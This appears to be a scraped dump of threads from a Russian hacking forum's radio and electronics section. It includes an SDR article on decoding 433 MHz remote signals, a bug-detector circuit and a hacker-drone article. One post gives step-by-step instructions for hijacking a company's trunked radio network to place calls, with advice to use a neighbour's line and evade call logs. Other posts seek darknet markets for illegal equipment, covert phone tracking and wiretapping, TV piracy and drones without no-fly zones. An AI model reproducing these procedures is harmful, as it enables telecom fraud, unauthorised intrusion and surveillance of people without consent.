Устройство продается через краудфандинговый сайт crowdsupply и не всегда есть в наличии, так что лови момент. Кстати, этих LimeSDR авторы продали на два миллиона долларов. Хорошие знания в электронике могут сделать тебя не только умным, но и богатым!

Отдельно хочу сказать о HackRF One. Этот девайс позволяет передавать и принимать на частотах от 1 МГц до 6 ГГц.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage003.jpg&hash=bae54a9be9e9e37c80ff2bcc3e6136b6)
HackRF

Устройство, в принципе, неплохое, но морально устарело, имеет лишь восьмибитный ЦАП и АЦП и не может одновременно принимать и передавать, а это иногда важно. Поэтому, несмотря на хакерское название, брать его я не рекомендую — за те же 300–400 долларов можно взять более современный девайс. Попадаются и дешевые китайские клоны, но их я не тестировал и ничего сказать не могу.

Есть и другие устройства (USRP, BladeRF, Airspy), но описанных выше для наших задач достаточно. Так что делай заказ в интернет-магазине на то, что больше понравилось, а пока посылка идет почтой, можешь потратить время на теорию.

Софт
В этой части мы поговорим о приеме радиосигналов и их декодировании. Для примера возьмем что-нибудь попроще и подешевле, что есть дома у многих, — беспроводной выключатель.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage004.jpg&hash=d54c63b9f60f671f1739ed3785779407)
Беспроводной выключатель на 433 МГц

Он хорош тем, что его сигнал простой и понятный, для его анализа достаточно даже редактора Paint. Нам понадобится только приемник (будет достаточно RTL- SDR) и бесплатная программа SDR#.

Виды модуляции
Для начала разберемся, как вообще сигналы передаются по радио. Здесь есть несколько возможных вариантов.

Амплитудная модуляция (АМ — Amplitude Modulation). Здесь амплитуда передатчика модулируется нужным нам сигналом. Это как раз то, что ты изучал в школе на физике в разделе «детекторный приемник». Плюс схемы — в ее простоте, и в простых устройствах она до сих пор активно используется. На спектре ее легко отличить по характерному виду — по симметрии относительно центра.

Частотная модуляция (FM — Frequency Modulation). Здесь модулируется не амплитуда, а частота. Используется в портативных радиостанциях, радионянях и во всем им подобном.

Фазовая модуляция, QAM, OFDM — используется в модемах, цифровых видах связи для передачи голоса или данных. Если ты видишь на спектре широкий сигнал, это оно.

В нашем случае все просто. Дешевые китайские пульты используют амплитудную модуляцию в ее самом простейшем цифровом формате, называемом OOK — On-Off Keying.

Запись
Для начала внимательно смотрим на пульт. В моем случае на задней стороне пульта было написано Made in China и Frequency 433.92MHz. Это облегчает нам задачу. Хотя даже если бы это не было написано, частоту легко найти — ширина полосы RTL-SDR составляет 2 МГц, и такие сигналы на экране SDR# хорошо видно.

В моем случае реальная частота оказалась 434 МГц — видимо, ±100 кГц для китайской техники не погрешность. Сам сигнал должен быть хорошо виден, если поднести пульт к антенне и нажать кнопку.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage005.jpg&hash=f8ff47e38c20bc0a91ce774d554bc94b)
Сигнал в SDR#

Осталось его записать. Запускаем SDR#, настраиваемся на частоту, выбираем модуляцию AM, включаем запись, подносим пульт к антенне приемника и нажимаем на нем подряд все кнопки. На выходе мы должны получить файл WAV, который мы и будем анализировать.

Анализ
Формат On-Off Keying — очень простой бинарный формат, и никаких серьезных инструментов для работы с ним нам не потребуется. Просто открываем файл в любом аудиоредакторе, я использовал Cool Edit.

SDR# почему-то пишет WAV в формате стерео, хотя АМ не может быть стерео. В том же Cool Edit я сконвертировал «звук» в моно.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage006.jpg&hash=9ddeb296e2cb80f975315ab13fb9016e)
Если все было сделано правильно, мы увидим подобную картинку

Можно обойтись и без Cool Edit, если у тебя его нет или если ты принципиально против использования взломанного ПО. Вывести файл WAV можно с помощью Python и библиотек для научной обработки и визуализации данных NumPy, SciPy и Matplotlib.

Чтобы код заработал, нужно установить Python 3 или 2.7 и библиотеки Matplotlib, NumPy и SciPy, а после ввести следующую команду:

Code:Copy to clipboard

> C:\Python3\Scripts\pip.exe install numpy scipy matplotlib

Code:Copy to clipboard

$ sudo pip install numpy scipy matplotlib

Код самой программы:

Code:Copy to clipboard

import scipy.io.wavfile
import numpy as np
import matplotlib.pyplot as plt

rate, data = scipy.io.wavfile.read('recording.wav')
data_left = data[:, -1]

plt.figure(1)
time = np.linspace(0, len(data_left)/rate, num=len(data_left))
plt.plot(time, data_left)
plt.tight_layout()
plt.show()

Запустив программу в консоли, увидим такую картинку.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage007.jpg&hash=16a5f117e8b220985e58ac7bb70bf307)
Запись в Matplotlib

Идем дальше и пытаемся понять, что же тут изображено. На моем пульте десять кнопок, десять больших блоков — это мои десять нажатий. Увеличиваем первый блок и видим, что он состоит из одинаковых фрагментов, которые повторяются каждые 0,08 с. Все просто: 0,08 с — это длительность одной посылки, и, пока ты держишь кнопку нажатой, она циклически повторяется.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage008.jpg&hash=83e6354914996a0f2646a6219b3dc9c5)
Повторяющаяся последовательность

Теперь увеличиваем блок еще больше и смотрим на каждую последовательность. В качестве примера возьмем части из последовательностей для первой и второй кнопок и выведем их рядом с помощью Paint.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage009.jpg&hash=7a7775a400f8d6af667784b16a6e605c)

Это самый обычный двоичный код. Пик — это единица, его отсутствие — ноль. Хорошо видно, что две кнопки отличаются двумя битами. Таким образом, пульт просто посылает длинную двоичную последовательность, соответствующую нажатой кнопке. Можно убедиться в этом, нажимая остальные кнопки и наблюдая другие последовательности.

Длина последовательности обусловлена многообразием и количеством устройств. Последовательность сделана такой длинной, чтобы вероятность совпадения кодов была небольшой.

По этому принципу работает множество девайсов — беспроводные пульты, метеостанции, датчики давления в шинах. Дешево и сердито, устройство практически не требует питания, такой датчик в метеостанции, например, может работать год от двух батареек. Но минус тут тоже очевиден — полное отсутствие какой-либо защиты, все передается в открытом виде. Зачастую это не критично, но такой пульт на дверь гаража я бы все же вешать не стал.

Используя дешевые беспроводные пульты, знай, что их данные представляют собой простой двоичный код и никак не защищены ни от прослушивания, ни от передачи. Если безопасность критична, используй более дорогие устройства, например на базе Z-Wave или Philips Hue.

Тебе наверняка было бы лень считать биты на картинке, чтобы узнать, какая кнопка была нажата. И ты не одинок — умные люди уже написали программу анализа сигналов на частоте 433 МГц для приемника RTL-SDR, которая так и называется — rtl_433. Ты можешь скачать ее на GitHub или найти в интернете в формате .exe. В эту программу заложена большая база разных устройств, так что, запустив ее, ты увидишь все в понятном виде.

Запускаем программу из командной строки командой rtl_433.exe -G и получаем значения всех датчиков, которые доступны поблизости.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F225016%2Fimage010.jpg&hash=fb1f300564d9a9fbc0aea12781856e64)
Вывод программы rtl_433

Так я узнал температуру и влажность воздуха от некоего Nexus, скорость и направление ветра от Wind Sensor. Список датчиков, которые поддерживаются программой, большой, программа кросс-платформенная и может работать на Windows, OS X, Linux и даже на Raspberry Pi.

Если идея передачи данных без проводов тебе понравилась, ты можешь купить недорогой радиомодуль для Arduino на eBay или AliExpress. Найти его несложно — ищи по словам Arduino 433MHz, цена такого модуля примерно один доллар за штуку.

Когда будешь использовать такой модем, помни: время передачи не должно превышать 1% от общего времени (так называемый параметр duty cycle. Частота одна для всех, и нужно дать время другим устройствам передать свои данные.

Сегодня мы научились только принимать и анализировать радиосигнал. О том, как передавать данные и управлять устройствами при помощи передатчика SDR, я расскажу в другой раз. Надеюсь, я заставил тебя по-новому посмотреть на радио!

хакер.ру

[Ищу] Tor-ресурсы по продаже/обсуждению нелегальной аппаратуры
ID: 676535aeb4103b69df3736a6
Thread ID: 27441
Created: 2019-01-23T20:12:43+0000
Last Post: 2019-05-09T10:04:03+0000
Author: pewpewpew
Replies: 17 Views: 5K

Сабж.
Буду благодарен, если подскажете даркнет/клирнет маркеты или форумы по продаже и обсуждению различной черной/серой техники, "шпионской" и различной запрещенной/полузапрещенной электроники.

Определение местопорложения по мобиле
ID: 676535aeb4103b69df3736b9
Thread ID: 20908
Created: 2011-01-05T23:06:47+0000
Last Post: 2013-02-05T00:16:41+0000
Author: karabas-barabas
Replies: 18 Views: 5K

интересует следующий вопрос , реально ли если на мобилу установить какой-либо софт , определять примерное местоположение тела ? мобильник без gps...
не так важно максимально точное определение , а чтобы как-то определить в каком городе находиться она :rolleyes: то есть главное чтобы можно было определить в каком именно городе находиться тело

Терморегулятор на на обогреватель
ID: 676535aeb4103b69df3736bf
Thread ID: 17773
Created: 2009-06-16T11:40:02+0000
Last Post: 2010-05-13T22:38:28+0000
Author: dinazaver
Replies: 16 Views: 5K

Уменя есть обогреватель неизвесного происхождения и непонятной формы,зато новый :) подскажите на него можно какойнибудь регулятор поставить?а то жгёт неподетски :)

Ищем жучки
ID: 676535aeb4103b69df3736c2
Thread ID: 17142
Created: 2009-03-14T08:13:54+0000
Last Post: 2010-05-13T22:35:34+0000
Author: Bender
Replies: 9 Views: 5K

Простите за копипаст, но, имхо, интересно =)

В последние годы подслушивание разговоров с помощью радиомикрофонов получило, увы, заметное распространение как в бизнесе, так и в быту. На радиорынках сегодня можно без труда приобрести различные "жучки", "баги" и т. п. различной степени сложности. Обнаружить их можно с помощью приемников (сканеров), "просматривающих" электромагнитное излучение в широкой полосе частот - от килогерц до гигагерц. Такие приемники обычно весьма дорогие. Но на определенном уровне эту проблему удается решить и с помощью более простых устройств - сигнализаторов и индикаторов наличия высокочастотного поля. Об одном из вариантов такого прибора и рассказывает публикуемая здесь статья.

Прибор для поиска микропередатчиков представляет собой звуковой и световой сигнализатор наличия радиочастотных излучений. Он имеет высокую чувствительность в полосе частот до 1 ГГц. Например, "жучок" с излучаемой мощностью 1,5 мВт (выходной каскад на одном маломощном транзисторе) можно обнаружить с расстояния около 10 см. Точную зависимость чувствительности сигнализатора от частоты автору определить не удалось из-за отсутствия необходимой для этого аппаратуры. Конструкция прибора проста и доступна для повторения даже радиолюбителям с небольшим опытом изготовления электронных устройств. В нем использованы доступные компоненты.

При этом потребительские свойства этого сигнализатора весьма неплохие. Он имеет малые размеры и массу, что позволяет его постоянно носить в кармане. Прибор прост в эксплуатации: единственный орган управления - выключатель питания.

Принципиальная схема сигнализатора показана на рис. 1. При приближении антенны WA1 к микропередатчику в ней наводится высокочастотное напряжение, которое через конденсатор С1 поступает на вход УРЧ (транзистор VT1). Емкость конденсатора С1 определяет нижнюю границу принимаемого диапазона частот. Ее подбирают такой, чтобы индикатор не реагировал на бытовые низкочастотные помехи от электродвигателей, тиристорных регуляторов напряжения, ГСП магнитофонов и т. п.

С выхода УРЧ сигнал поступает на диодный детектор VD1. Через фильтр C4L1 и резистор R6 постоянная составляющая продетектированного сигнала поступает на вход усилителя постоянного тока (транзисторы VT2, VT3). Резистор R6 несколько снижает чувствительность индикатора, но он необходим для того, чтобы избежать резкого повышения чувствительности прибора на частоте резонанса контура C4L1 (около 50 кГц). Усилитель постоянного тока управляет работой мультивибратора на транзисторах VT4 и VT5.

К коллекторным цепям транзисторов VT4, VT5 подключен пьезоизлуча-тель ZQ1, который преобразует электрические колебания, вырабатываемые мультивибратором, в звук. Такое включение излучателя повышает громкость его звучания. При работе мультивибратора, кроме того, светится и свето-диод HL1.

Чем больше сигнал от "жучка", тем больше ток через транзистор VT3 и тем выше частота звукового сигнала и его громкость, а также интенсивность свечения светодиода HL1. Перемещая сигнализатор, ищут его положение, при котором максимальны громкость сигнала и яркость светодиода. Затем в "ближней зоне" проводят визуальный поиск местонахождения подслушивающего устройства.

На диод VD1 через резистор R4 поступает напряжение смещения со стабилизатора напряжения R5, VD6, которое приоткрывает диод VD1 и транзистор VT2. Это повышает чувствительность детектора к малым уровням ВЧ сигналов. Резистор R4 подбирают так, чтобы светозвуковой сигнализатор находился на грани срабатывания сигнализатора. Как следствие, даже очень небольшая добавка напряжения, возникающая при детектировании исследуемого сигнала, открывает транзисторы VT2, VT3,запуская мультивибратор.

Недостаток такого решения - заметная термочувствительность сигнализатора. Ее можно устранить, подобрав R4 так, чтобы сигнализатор не срабатывал самопроизвольно в выбранном диапазоне температуры. Облегчит эту процедуру применение в качестве VT2 транзистора с очень малым обратным током.

Диод VD1 можно заменить на КД503Б, КД509А, КД512А, КД407А или КД409А. Стабилитрон VD3 - любой с напряжением стабилизации 5...7 В. Транзистор VT1 - КТ368 с любым буквенным индексом в любом корпусе либо другой высокочастотный, например, КТ3101А-2, КТ3120А, КТ3124. Транзистор VT2 - КТ3102 с индексами Г, Е. Заменять его на другие не стоит, так как он имеет очень малый начальный ток коллектор-эмиттер - менее 0,05 мкА. Транзистор VT3 можно заменить на КТ3107 с индексами К, Д. Вместо транзисторов VT4 и VT5 допускается использовать любые кремниевые маломощные соответствующей структуры с подходящей цоколевкой. Лишь бы обратный ток коллектора был достаточно мал, чтобы мультивибратор не самовозбуждался. По этой причине нельзя применять германиевые транзисторы. Чем больше коэффициент передачи тока каждого транзистора, тем выше чувствительность всего устройства.

Автор использовал пьезоизлучатель ZQ1 от электронных часов "Монтана", но здесь подойдут и другие. Дроссель L1 должен иметь индуктивность 1...2 мГн. В авторском варианте он содержит 180 витков провода ПЭЛШО-0,12 на кольце от импульсного трансформатора ТИ-18. Выключатель SA1 - ПД9-2. Антенна WA1 - телескопическая от импортной магнитолы общей длиной 32 см. Слишком длинную антенну использовать не следует.

Налаживание сигнализатора начинают с установки напряжения смещения на диоде VD1. Для этого конденсатор СЗ нужно временно отключить. Вместо резистора R4 временно устанавливают переменный сопротивлением 560 кОм. Вращая его движок, добиваются исчезновения звука. Если теперь поднести устройство к лампе на- каливания или вынести на солнечный свет, то сигнализатор начнет слабо пищать, набирая громкость с нагревом. Затем измеряют сопротивление переменного резистора и устанавливают резистор R4 с сопротивлением, в полтора раза большим. Это обеспечит работоспособность сигнализатора радиоизлучения в приемлемом диапазоне температуры. Усиление УРЧ регулируют подбором резистора R2.

Корпус прибора - коробка для слайдов. Расположение элементов в корпусе показано на рис. 2. В торце коробки делают отверстие по диаметру самого толстого звена телескопической антенны. На это звено натягивают отрезок резиновой трубки, размоченной в толуоле. Длина трубки должна немного превышать длину коробки. После испарения толуола резиновая трубка плотно приклеится к антенне. Резиновую трубку обрезают так, чтобы при установке антенны в корпус она, сжавшись, плотно удерживала антенну. Плату вставляют под резиновую трубку.

На корпусе снаружи укрепляют полоску медной фольги и соединяют ее с общим проводом. На начальном этапе поиска "жучка" следует касаться фольги большим пальцем руки. В этом случае ваше тело играет роль противовеса, что повышает чувствительность прибора. При "ближнем" поиске можно палец от фольги убрать. Это понизит чувствительность прибора и повысит точность определения местонахождения "жучка".

(с) В. ЧИСТОВ, г. Горячий Ключ Краснодарского края

Подключаем джойстик от приставки к компу
ID: 676535aeb4103b69df3736c3
Thread ID: 11012
Created: 2006-08-29T02:58:44+0000
Last Post: 2010-05-13T22:32:58+0000
Author: мозголом
Replies: 7 Views: 5K

вот нашел как переделовать джостики http://mastermods.modding.ru/joypad.htm посмотрите а потом судите если сделаете и там драиверы есть!!! на сылке

как собрать такой девайс?
ID: 676535aeb4103b69df3736c5
Thread ID: 18532
Created: 2009-10-23T18:57:44+0000
Last Post: 2009-10-27T19:15:20+0000
Author: bestoff
Replies: 18 Views: 5K

здравствуйте уважаемые форумчане.. я тут новенький.. так что сразу просьба не воспринимать в штыки..) у меня такой вопрос.. как собрать аппарат на энное количество симок, с одним передатчиком и приемником, и чтобы симки регистрировались в сети поочередно на определенное время.. опишите пожаласта процесс, если таковой возможен.. заранее спасибо!

Взлом транковой сети
ID: 676535aeb4103b69df37370d
Thread ID: 149
Created: 2005-01-06T01:22:44+0000
Last Post: 2005-06-23T21:18:29+0000
Author: AKella
Replies: 8 Views: 5K

Для этого не нужно специальное программное обеспечение, ни транковой платы... Только радиостанция на соответствующий диапазон, имеющая возможность работы через репитеры и диктофон, желательно цифровой, а лучше всего компьютер. . Самое главное здесь - это знать телефонные номера столбов (вышек), к которым подключены транковые контроллеры. Узнать их - дело фантазии и возможностей взломщика: или завести знакомство с кем-нибудь из работников фирмы, использующей транк, или врубаться в разговоры и "довести" кого-нибудь, а потом дать ему номер своего мобильного, чтобы он перезвонил на него с рации и высказал все что думает... Этого будет достаточно, номер столба покажет АОН мобильника, а номер можно потом и закрыть.

Так вот нам нужно будет звонить на этот номер, звонить со своего домашнего телефона не советую: транковый контроллер ведет учет всех звонков как с него, так и на него. Лучше с того же "одноразового" мобильника или от соседа (думаю, не надо учить, как сесть на соседскую линию!!!). Подготовительные мероприятия: радиостацию ставим на прием частоты передачи столба, к выходу станции подключаем вход звуковой карты компьютера (или диктофон), запускаем любую программу аудиозаписи. Далее звоним на столб, услышав ответ контроллера ( 2 коротких гудка), пищим стандартными DTMF тонами какое либо число от 100 до 999. Если абонент с таким номером в системе имеется, будет слышен тон вызова. Столб при этом пошлет в эфир сигнал на рацию абонента с этим номером, он то нам и нужен. В начале сигнала будет длинная тональная посылка частотой 1450Гц, после которой последует короткая транковая посылка. Любым аудиоредактором укорачиваем начальный тон с первоначальных трех секунд до 0,1-0,3 секунд. Далее ставим станцию на частоту столба, не забыв установить репитерный разнос и проигрываем в микрофон отредактированную транковую посылку. Если все проделано правильно, услышите тон ответа АТС. Дальше набираем номер теми же DTMF тонами. NB! Если фирма имеет внутренние локальные номера, а они обычно четырех-пяти значные, то выход на городскую АТС осуществляестя через дополнительную цифру перед номером, так что сначала лучше послушать эфир и раскодировать несколько набираемых номеров, чтобы увидеть их структуру.

Еще раз повторю, в транковых контроллерах ведется учет всех звонков, с номерами, датой, временем и длительностью разговора, так что не запалитесь вы на этом деле!

Эл. Схема, Help.
ID: 676535aeb4103b69df373703
Thread ID: 4139
Created: 2005-06-24T14:47:18+0000
Last Post: 2005-11-12T19:03:09+0000
Author: david
Replies: 7 Views: 5K

Парни я заметил что здесь есть люди которые разбираются в электрических схемах вот помощь нужна. Нужно показать на схеме как ток по ней идет, прям от источника питания, как от плюса и от минуса. Если можно покажите стрелками. У меня защита диплома 29 го числа я по схеме нифига не знаю , описания нет, вот боюсь спросят как по ней ток течет.

СХЕМА

НТВ+ бесплатно
ID: 676535aeb4103b69df373704
Thread ID: 5170
Created: 2005-10-16T14:25:19+0000
Last Post: 2005-11-12T18:37:21+0000
Author: kidnder surpsise
Replies: 7 Views: 5K

У кого какие идеи есть подскажите!!Через MoreTv 3.31 по моему мороки много, хотя заманчиво!

Подключение Автомагнитолы
ID: 676535aeb4103b69df373706
Thread ID: 5319
Created: 2005-10-25T17:09:36+0000
Last Post: 2005-10-26T12:06:38+0000
Author: Nightwalker
Replies: 7 Views: 5K

Народ кто знает как подключить автомагнитолу?Куда какие концы соеденять чтобы не замкнуть?Если надо могу выложить скрин штекера с проводами.И как находить концы что куда вот таким прибором?
![](/proxy.php?image=http%3A%2F%2Fwww.widgetsupply.com%2Felectrical%2FHTET- SDC4-M830B.jpg&hash=6224d65570c2cefb428da5b346e5984f)

Индикатор напряжённости
ID: 676535aeb4103b69df3736ff
Thread ID: 5544
Created: 2005-11-12T19:05:22+0000
Last Post: 2005-11-18T10:22:24+0000
Author: kidnder surpsise
Replies: 5 Views: 4K

Индикатор напряженности, или как его сделать!Или где взять так чтоб ещё и частоту показывал!!Хотя наверно не реально, а можно и поотдельности два девайса!
Добавлено в [time]1131822322[/time]
А нужен он чтоб экспериментальным методом узнать длинну антенны для большей мощности!

Drones without no-fly zones programmed ?
ID: 676535aeb4103b69df373541
Thread ID: 119763
Created: 2024-07-29T05:34:51+0000
Last Post: 2024-12-09T13:53:53+0000
Author: churk
Replies: 22 Views: 4K

Hello

I currently have DJI Phantom
Which, as most of the major drone brands have hard coded in itself "no-fly zones" ( airports, prisons, bases, certain specific parts of town, specific industrial zones and so on ).

I don't think there is a solution to change entire firmware and put the one without hardcoded no-fly zones, but I am pretty sure that there are certain drone brands, probably less known brands ( some purelly chineese companies or whatever ) which don't have no-fly zones coded in them.

I asked AI already, but is useless, it also mantioned my drone as being the one without no-fly zones.

And and the product description drones are usually not being advertised with having or not having no-fly zones.

Anyone knows specific drone brand which doesn't have no-fly zones hardcoded in it ?

Прослушка
ID: 676535aeb4103b69df37354c
Thread ID: 89595
Created: 2023-06-03T13:34:31+0000
Last Post: 2024-10-13T17:04:09+0000
Author: k1ddddos
Replies: 19 Views: 4K

добрый вечер! Тема давно интересует как прослушивать телефон чужой если я не имею к нему доступа, может есть какой нибудь софт?

Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок
ID: 676535aeb4103b69df373564
Thread ID: 88738
Created: 2023-05-23T21:31:44+0000
Last Post: 2024-08-05T19:29:08+0000
Author: baykal
Prefix: Статья
Replies: 18 Views: 4K

Ты сидишь за клавиатурой на одном из верхних этажей охраняемого здания, расположенного посреди закрытой территории в окружении забора с колючей проволокой под напряжением. Ты чувствуешь себя в полной безопасности — за ней следят не только камеры, но и бдительная охрана. За окном раздается подозрительное жужжание, ты отвлекаешься на непонятный источник звука, и этих нескольких секунд достаточно, чтобы на твой компьютер установился бэкдор, а хакер, расположенный в 20 км от тебя, проник в корпоративную сеть. Фантастика? Ничего подобного!

Дрон — отличный инструмент для злоумышленника, поскольку такой аппарат может нести на себе до трети собственного веса в виде полезной нагрузки. Но атаковать удаленный объект «по воздуху» не так‑то просто: «хакерский дрон» должен обладать высокой автономностью, управляться по защищенному каналу на расстоянии в десятки километров, а еще уметь противостоять средствам подавления и «глушилкам». Сегодня мы подробно расскажем, как устроены такие дроны и как их можно собрать из подручных средств, модифицировав обычный бюджетный квадрокоптер. И разумеется, о том, как эффективно противостоять таким хитрым девайсам.

В предыдущей статье я описал атаки, требующие непосредственного присутствия злоумышленника поблизости от атакуемого объекта. Но ограниченный радиус беспроводных сетей не позволяет «дотянуться» абсолютно до всех целей. Однако устройство столь малого размера можно не только незаметно спрятать под окнами, его можно поместить внутрь небольшой посылки и направить кому угодно. И тогда, двигаясь по коридорам зданий, оно будет способно совершить уже совсем иные атаки. Правда, посылка — это для устройства Pineapple билет в один конец. Беспроводные атаки можно проводить и с помощью дрона.

Дроны стали незаменимы в самых разных областях, и сегодня они доступны практически каждому. Но что они могут дать хакеру?

Важная особенность дрона заключается в том, что к нему можно присоединить фактически что угодно. Таким образом дрон может значительно увеличить дистанцию применения атак, ведь он позволяет быстро получить физический доступ туда, куда нельзя добраться ногами. Дрон может преодолеть почти любое ограждение, подлететь к окнам высотного здания и, что немаловажно, сделать это достаточно быстро, а иногда и незаметно. Миниатюрные габариты позволяют ему пролететь даже в приоткрытое окно, проникнуть в помещение и молниеносно совершить компьютерные атаки. Одним словом, с таким средством доступной становится практически любая цель.

Это делает дрон крайне удобным для проведения быстрых атак, реализуемых через беспроводные технологии — то есть там, где требуется фиксированный и часто небольшой радиус действия. Так что атаки, показанные в некоторых компьютерных играх, вполне реальны.

Коллекционная статуэтка PureArts по игре Watch Dogs 2

РЕАЛИЗАЦИЯ​

Дроны в большинстве случаев управляются по радиоканалу. При этом частоты и протоколы для приема сигнала с пульта (RX), а также для передачи видео и телеметрии с дрона (TX) могут отличаться. В обобщенном виде это выглядит так:

Для атакующего дрон главным образом транспортное средство, поэтому он должен быть крепким и надежным. Поскольку почти все атаки так или иначе могут быть связаны с близким пролетом вблизи строений, а где‑то даже и внутри них, то куда важнее обеспечить максимальную защиту пропеллеров, нежели высокую скорость. Отличным выбором могут быть дроны с защитной рамой вокруг пропеллеров (Cinewhoop), как на следующем рисунке.

Модель рамы Cinewhoop
Такая конструкция не позволяет дрону разбиться в случае контакта со стеной или другими препятствиями. Дрон также должен иметь некоторый запас мощности, достаточный для подъема хакерских девайсов массой хотя бы с треть его веса.

Поскольку злоумышленник может атаковать отдаленные объекты, использовать для этого целесообразно дроны, управление которых завязано не на Wi-Fi. Ведь радиус Wi-Fi ограничен 50–100 м, и управляемость (отклик) ухудшается по мере отдаления дрона от пульта управления. Профессиональные дроны с выделенным радиоканалом управления (FRSKY, ELRS или TBS) подходят для подобных целей куда лучше. По прямой видимости дрон на таком управлении может улететь на несколько километров, и время отклика при этом держится на приемлемом уровне.

Раз летать злоумышленнику придется не в чистом поле, а вблизи зданий, где находятся объекты атак, то немаловажен и контроль над полетом. Дроны семейства FPV обеспечивают максимально возможное погружение и вид от первого лица.

Отличным выбором по гибкости, открытости компонентов и простоты станут популярные дроны с полетным контроллером системы Betaflight. Основные плюсы подобных открытых решений:

На самом деле не так важна модель дрона, куда важнее умение хорошо летать. Прежде чем переходить к атакам с дрона, стоит немного поговорить, как возможно улучшить управление дрона и защитить его.

Управление через 4G​

Полеты среди зданий могут сильно уменьшить предельную дистанцию. Даже если у дрона супердальнобойная система связи, она не пробьет несколько бетонных стен, когда квадрокоптер залетит за здание.

Но что, если дрон будет управляться по мобильным сетям? В наше время хороший прием обеспечивается даже за пределами города, не говоря уже про здания. Сотовую связь можно использовать в качестве отличного канала для передачи данных. Тогда расстояние полета будет ограничено исключительно ресурсом аккумулятора.

Сегодня 4G-сети обладают достаточно высокой скоростью, но при их использовании отклик от пульта управления и картинка с камеры не передаются с той же скоростью, как на специально разработанных для этого радиопротоколах. Тем не менее полет вполне возможен. А с учетом скорости, с которой дроны способны лететь (200 км/ч), и запаса аккумулятора злоумышленник может атаковать цель на расстоянии более 20 км!

Итак, как перевести дрон на 4G-управление? Это должно быть не очень сложное решение, применимое к широкой линейке доступных моделей. Можно использовать, например, следующую схему.

4G → Wi-Fi-шлюз → дрон​

Самые простые и дешевые дроны полностью управляются по Wi-Fi. Внутри дрона запущена точка доступа Wi-Fi, мобильный телефон подключается к ней и через приложение отправляет команды в обычный UDP-порт. Видео с дрона идет в обратном направлении на телефон простым RTSP-стримом. Получается, дрон — это обычное сетевое устройство. Следовательно, если к нему прикрепить мини‑компьютер с 4G-модемом, то через VPN можно проброситься прямо в дрон с любого расстояния. И далее останется лишь отправлять закодированные команды управления моторами.

Однако в этом способе есть пара минусов. Во‑первых, скорее всего, придется иметь дело с закрытым протоколом и реверсить его с успешностью 50/50 — повезет или нет. Возможно, попадется шифрование, а возможно — аутентификация с неизвестным принципом. Словом, взламывать собственный дрон, чтобы полетать, несколько странно. Во‑вторых, в такие протоколы закладывают достаточно частую отправку пакетов от пульта на дрон. Это сделано для лучшего отклика при управлении. Кроме того, так дрон оперативно понимает, если сигнал с пультом теряется. Тут абсолютно невыгодно отправлять по сети одни и те же пакеты на дрон, ведь так 4G-канал управления будет забит, а по нему должно передаваться еще и видео.

4G → видеошлюз → дрон​

А что, если вместо сетевого шлюза для доступа к дрону воспользоваться видеошлюзом? То есть к квадрокоптеру прикрепить небольшой телефон, подключенный к нему по Wi-Fi, а к самому телефону подключиться с помощью средства удаленного управления? Ведь в любом случае видео с дрона нужно смотреть, только теперь это можно будет делать с экрана удаленного телефона.

Как ни странно, этот способ позволяет решить все проблемы. Телефон дает отвязку по трафику — все пакеты с требуемой скоростью он отправляет сам, пилот лишь через виртуальные стики на экране удаленного телефона управляет дроном. Также видеопоток с экрана телефона принимается уменьшенного качества, что еще немного увеличивает скорость передачи. Плюсом мобильное приложение берет на себя кодирование положений стиков пульта, так что ничего реверсить не требуется. Пример такой реализации приведен на следующем рисунке.

Бюджетный комнатный дрон и мини- телефон
Простой до невозможности трюк, но на самом деле он позволит преодолеть любые расстояния и преграды. Мини‑телефон, прикрепленный к дрону, всегда будет обеспечивать ему приемлемый уровень сигнала Wi-Fi, который на таком расстоянии крайне сложно заглушить подавителем. Также он дает развязку по трафику — не нужно принимать высококачественный стрим с дрона, а вместо этого достаточно лишь получить картинку с экрана телефона в разрешении 320 × 240, передача которой более надежна при просадках скорости мобильного соединения. Еще такой подход обеспечивает развязку и по протоколу: больше не нужно вникать в подробности кодирования положений стиков троттлинга, крена, углов атаки и рысканья — мобильное приложение все сделает самостоятельно.

Подключиться к дрону по 4G можно с любого устройства — хоть с ноутбука, хоть с телефона. Для этого можно использовать любое программное решение для облачного удаленного управления, например кросс‑платформенный AnyDesk.

Кросс-платформенное удаленное управление дроном через телефон
Далее, используя простые средства автоматизации GUI, можно назначить тем или иным нажатиям на клавиатуре определенные действия с виртуальным пультом на экране:

drone/control.sh​

Bash:Copy to clipboard

#!/bin/bash
console=$(xdotool getactivewindow)
control=$(xwininfo | grep id | grep 'xwininfo:' | awk '{print $4}')
xdotool windowfocus $control
X=$(xwininfo -id $control | grep 'Absolute upper-left X:' | awk '{print $4}')
Y=$(xwininfo -id $control | grep 'Absolute upper-left Y:' | awk '{print $4}')
left_stick_x=$[$X+123]
left_stick_y=$[$Y+321]
right_stick_x=$[$X+456]
right_stick_y=$[$Y+321]
xdotool windowfocus $console
while read -rsn 1 key
do
  case "$key" in
    'A')
      echo 'throttle up'
      xdotool mousemove $left_stick_x $left_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '0' '-50'
      xdotool mouseup 1
      ;;
    'B')
      echo 'throttle down'
      xdotool mousemove $left_stick_x $left_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '0' '50'
      xdotool mouseup 1
      ;;
    'w')
      echo 'pitch forward'
      xdotool mousemove $right_stick_x $right_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '0' '-50'
      xdotool mouseup 1
      ;;
    's')
      echo 'pitch back'
      xdotool mousemove $right_stick_x $right_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '0' '50'
      xdotool mouseup 1
      ;;
    'a')
      echo 'roll left'
